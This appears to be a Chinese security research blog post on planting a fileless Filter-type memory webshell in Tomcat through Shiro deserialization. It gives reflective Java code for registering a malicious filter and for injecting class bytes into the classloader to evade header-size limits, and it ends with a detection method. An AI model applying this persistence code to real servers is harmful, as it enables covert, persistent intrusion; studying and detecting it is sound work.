0x01简介

shiro结合tomcat回显,使用公开的方法,回显大多都会报错。因为生成的payload过大,而tomcat在默认情况下,接收的最大http头部大小为8192。如果超过这个大小,则tomcat会返回400错误。而某些版本tomcat可以通过payload修改maxHttpHeaderSize,而某些又不可以。所以我们要想办法解决这个很麻烦,并顺便实现tomcat的内存马,用来持久化shell。

我的测试环境如下:

  • tomcat 7.0.104
  • idea
  • shiro

环境安装配置就不在这里详细描述,该分享主要围绕着以下主题分享:

  1. Filter介绍
  2. 类加载器的相关知识点
  3. tomcat的内存马该如何查杀

0x02 Filter

1. Filter的基本工作原理

  1. Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。

  2. 当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。

  3. 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。

  4. 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。

  5. 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。

  6. 如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。

2. Filter 链

  1. 在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以对一个或一组 Servlet 程序进行拦截。如果有多个 Filter 程序都可以对某个 Servlet 程序的访问过程进行拦截,当针对该 Servlet 的访问请求到达时,Web 容器将把这多个 Filter 程序组合成一个 Filter 链(也叫过滤器链)。
  2. Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,上一个 Filter.doFilter 方法中调用 FilterChain.doFilter 方法将激活下一个 Filter的doFilter 方法,最后一个 Filter.doFilter 方法中调用的 FilterChain.doFilter 方法将激活目标 Servlet的service 方法。
  3. 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法都不会被执行。

3. Tomcat中请求Filter的流程

用户在请求tomcat的资源的时候,会调用ApplicationFilterFactory的createFilterChain方法,根据web.xml的Filter配置,去生成Filter链。主要代码如下

            filterChain.setServlet(servlet);
filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length; int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
boolean isCometFilter;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
isCometFilter = false;
if (comet) {
try {
isCometFilter = filterConfig.getFilter() instanceof CometFilter;
} catch (Exception var21) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21);
ExceptionUtils.handleThrowable(t);
} if (isCometFilter) {
filterChain.addFilter(filterConfig);
}
} else {
filterChain.addFilter(filterConfig);
}
}
}
}

首先获取当前context,并从context中获取FilterMap。FIlterMap的数据结构如下



我们可以看到,FilterMap存放了Filter的名称和需要拦截的url的正则表达式。

继续往下分析代码,遍历FilterMap中每一项,调用matchFiltersURL这个函数,去确定请求的url和Filter中需要拦截的正则表达式是否匹配。

如果匹配的话,则通过context.findFilterConfig方法去查找filter对应的名称。filterConfig的数据结构如下

随后将filterConfig添加到Filter.chain中。

下面我们看一下ApplicationFilterChain.internalDoFilter方法,简化后的代码如下

            ApplicationFilterConfig filterConfig = this.filters[this.pos++];
Filter filter = null;
filter = filterConfig.getFilter();
this.support.fireInstanceEvent("beforeFilter", filter, request, response);
filter.doFilter(request, response, this);
this.support.fireInstanceEvent("afterFilter", filter, request, response);

在这里我们可以很清楚的看到,从刚才的FilterChain中,遍历每一项FilterConfig,然后获取FIlterConfig对应的filter,最后调用我们熟悉的filter.doFilter方法。

可以用如下流程图来方便我们理解这个过程

可以看出,如果需要动态注册一个Filter,结合上面的分析,我们可以发现,只要修改context相关字段,即可完成动态注册一个Filter。好消息是,context已经帮我们实现了相关方法,我们就没有必要去通过反射等手段去修改。

4. tomcat实现

4.1 获取context

可以通过MBean的方式去获取当前context,我们查看一下tomcat的MBean



idea中查看一下

相关代码如下

Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples_web_war,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context

当然,还有很多种办法,这里只是一个例子

4.2 添加filterdef到context

首先我们实例化一个FilterDef,FilterDef的作用主要为描述filter名称与Filter实例的关系。注意,在后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef

            Object filterDef = Class.forName("FilterDef").newInstance();
// 设置过滤器名称
Method filterDefsetFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
filterDefsetFilterName.invoke(filterDef, "test"); // 实例化Filter,也就是第一阶段我们加载的那个filter,通过Class.forname查找
Method filterDefsetFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class); //通过class.forname查找我们待加载的Filter,后面调用newInstance实例化
Class evilFilterClass = Class.forName("testFilter1");
filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());

4.3 添加filtermap到context

FilterMap的作用建立filter的url拦截与FilterDef的关系。在这里我们需要设置加载的filter都拦截什么url。代码如下

            Object filterMap = Class.forName("FilterMap").newInstance();
Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
filterMapaddURLPattern.invoke(filterMap, "/*"); // 设置filter的名字为test
Method filterMapsetFilterName = Class.forName("FilterMap").getMethod("setFilterName", String.class);
filterMapsetFilterName.invoke(filterMap, "test");

4.4 添加ApplicationFilterConfig至context

这里很简单,最后我们需要添加ApplicationFIlterConfig就可以了,代码如下

           Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
Constructor<?>[] filterConfigCon =
Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
filterConfigs.put("test", filterConfigCon[0].newInstance(context, filterDef));

0x02 类加载器的相关知识点

在上一步种,我们是无法成功的,因为payload过大,超过tomcat的限制。会导致tomcat报400 bad request错误。我们仔细分析可知,因为payload种需要加载Filter的class bytes。这一部分最小最小还需要3000多。所以我们需要将Filter的class byte,想办法加载至系统中。可以缩小我们动态加载Filter的payload大小。

1.1 class.forname

在这里我们先学习以下class.forname这个方法,查看openjdk的相关源码

https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374



class.forname会获取调用方的classloader,然后调用forName0,从调用方的classloader中查找类。当然,这是一个native方法,精简后源码如下

https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104

 Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
jboolean initialize, jobject loader, jclass caller)
{
char *clname;
jclass cls = 0;
clname = classname; cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
return cls;
}

JVM_FindClassFromClassler的代码在如下位置

https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp

JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
jboolean init, jobject loader,
jclass caller))
JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException"); TempNewSymbol h_name =
SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
CHECK_NULL); oop loader_oop = JNIHandles::resolve(loader);
oop from_class = JNIHandles::resolve(caller);
oop protection_domain = NULL;
if (from_class != NULL && loader_oop != NULL) {
protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
} Handle h_loader(THREAD, loader_oop);
Handle h_prot(THREAD, protection_domain);
jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
h_prot, false, THREAD); return result;
JVM_END

主要是获取protectDomain等相关信息。然后调用find_class_from_class_loader,代码如下


jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
Handle loader, Handle protection_domain,
jboolean throwError, TRAPS) { Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL); // Check if we should initialize the class
if (init && klass->is_instance_klass()) {
klass->initialize(CHECK_NULL);
}
return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}

SystemDictionary::resolve_or_fail会判断查找的类是不是属于数组,对于咱们来讲,肯定不是数组,所以,我们主要来分析systemDictionary::resolve_instance_class_or_null

代码如下

  class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
ClassLoaderData* loader_data = register_loader(class_loader);
Dictionary* dictionary = loader_data->dictionary();
unsigned int d_hash = dictionary->compute_hash(name);
{
InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
if (probe != NULL) return probe;
}

最终通过dictionary->find方法去查找类,看代码,其实也就是查找classloader的classes字段。

idea中查看这个字段。可以看出这里存储了很多类的Class,我们只需要将defineClass的结果,添加到classloader的classes字段中即可。

1.2 实现

将class bytes使用gzip+base64压缩编码,代码如下

payload中,我们寻找当前classloader,调用defineclass,将类字节码转换成一个类,代码如下

这一步会用到大量的反射

BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "base64+gzip编码后的类";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);

加载完成后,将evilClass加载到classloader的classes字段中,这步通过反射完成

       Field currentCladdloaderClasses = Thread.currentThread().getContextClassLoader().getClass().getDeclaredField("classes");
Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);
classes.add(0, evilClass);

0x03 成果检验

首先我们将自己写的Filter,加载到classloaderFilter的代码如下

运行我们的工具,生成payload



通过burp发送出去

下一步动态注册一个Filter,

我们可以看出,这两步生成的payload大小都没有超过tomcat的maxHttpHeaderSize。将生成的remember复制到cookies即可执行,结果如下

0x04 Filter类型的内存马查杀

  1. 打开jvisualvm,因为我们是访问本地java进程,所以tomcat不需要配置jmx访问
  2. jvisualvm安装MBean插件



3. 点击我们的tomcat,查看Catalina/Filter节点中的数据,检查是否存在我们不认识的,或者没有在web.xml中配置的filter,或者filterClass为空的Filter,如图

0x05 参考

  1. https://www.runoob.com/w3cnote/filter-filterchain-filterconfig-intro.html
  2. https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp
  3. https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java

tomcat结合shiro无文件webshell的技术研究以及检测方法的更多相关文章

  1. 反弹Shell原理及检测技术研究

    1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...

  2. 从无文件技术到使用隐写术:检查Powload的演变

    来源:https://blog.trendmicro.com/trendlabs-security-intelligence/from-fileless-techniques-to-using-ste ...

  3. 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

    无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...

  4. 如何用Tomcat部署前端静态文件

    在项目开发的过程中,一些公司经常是前后台分开的,并不是所有的前端文件都在后台项目中,尤其是互联网公司.这时候就需要后端人员单独运行前端文件.怎么用Tomcat部署运行前端静态文件呢? 工具/原料   ...

  5. 从commons-beanutils反序列化到shiro无依赖的漏洞利用

    目录 0 前言 1 环境 2 commons-beanutils反序列化链 2.1 TemplatesImple调用链 2.2 PriorityQueue调用链 2.3 BeanComparator ...

  6. CentOS7之按时间段截取指定的Tomcat日志到指定文件的方法

    CentOS7之按时间段截取指定的Tomcat日志到指定文件的方法 sed -n '/2016-11-02 15:00:/,/2016-11-02 15:05:/p' catalina.out > ...

  7. nginx+tomcat+二级域名静态文件分离支持mp4视频播放配置实例

    nginx+tomcat+二级域名静态文件分离支持mp4视频播放配置实例 二级域名配置 在/etc/nginx/conf.d/目录下配置二级域名同名的conf文件,路径改成对应的即可 statics. ...

  8. eclipse项目自动发布到tomcat目录,缺文件。

    eclipse项目自动发布到tomcat目录,缺文件. 解决方案: 项目--Properties-->Deployment Assembly-->Add--> Folder Add- ...

  9. 操作PDF文件的关键技术点

    一个PDF文档从大到小可以分成如下几个要素:文档.章节.小节.段落.表格.列表. com.lowagie.text.Document表示PDF文档.必须为它创建一个PDF写入器,即com.lowagi ...

随机推荐

  1. PAT A+B和C

    题目描述 给定区间[-2的31次方, 2的31次方]内的3个整数A.B和C,请判断A+B是否大于C. 输入描述: 输入第1行给出正整数T(<=10),是测试用例的个数.随后给出T组测试用例,每组 ...

  2. 用Java模拟游戏重力的实现(弹跳)

    年末开了Java实训大作业 想了好几天决定选择马里奥小游戏 发现即使做出来但是跳跃功能是很“笨拙”的,和我们玩的游戏不一样,没有跳跃速度的快慢什么的,后来才知道这个叫做游戏里面重力的模拟. 组队做系统 ...

  3. PyQt5 模块modules

    The QtCore module contains the core non-GUI functionality. This module is used for working with time ...

  4. 手写网页扫雷之js部分(vue)

    var vm = new Vue({ el:"#ui", data(){ return{ num:0, saoleiStyle:{ width: "0px", ...

  5. mybatis的缓存2

    原文:https://blog.csdn.net/qq_38274974/article/details/100898145 mybatis的缓存分为一级缓存.二级缓存那么,我们为什么要使用缓存呢?  ...

  6. 解决错误【selenium.common.exceptions.SessionNotCreatedException】

    以前能用,突然不能用了,是浏览器版本可能升级了,与原来的weddriver驱动版本不符合 解决办法:1.更新浏览器驱动, 2.降低浏览器版本

  7. 049.Kubernetes集群管理-集群监控Metrics

    一 集群监控 1.1 Metrics Kubernetes的早期版本依靠Heapster来实现完整的性能数据采集和监控功能,Kubernetes从1.8版本开始,性能数据开始以Metrics API的 ...

  8. yii2.0数据库操作

    User::find()->all(); 此方法返回所有数据: User::findOne($id); 此方法返回 主键 id=1 的一条数据(举个例子): User::find()->w ...

  9. jsc和luac文件 xxtea 解密.

    # -*- coding: utf-8 -*- import xxtea import os src = "./assets/src" dst = "./assets/s ...

  10. scanf中的%[^\n]%*c格式

    scanf中的%[^\n]%*c格式 (2011-02-19 16:12:38) 转载▼ 标签:  控制字符 空白字符 字符串 变量 整数 it 分类: C语言编程 文章转载自http://blog. ...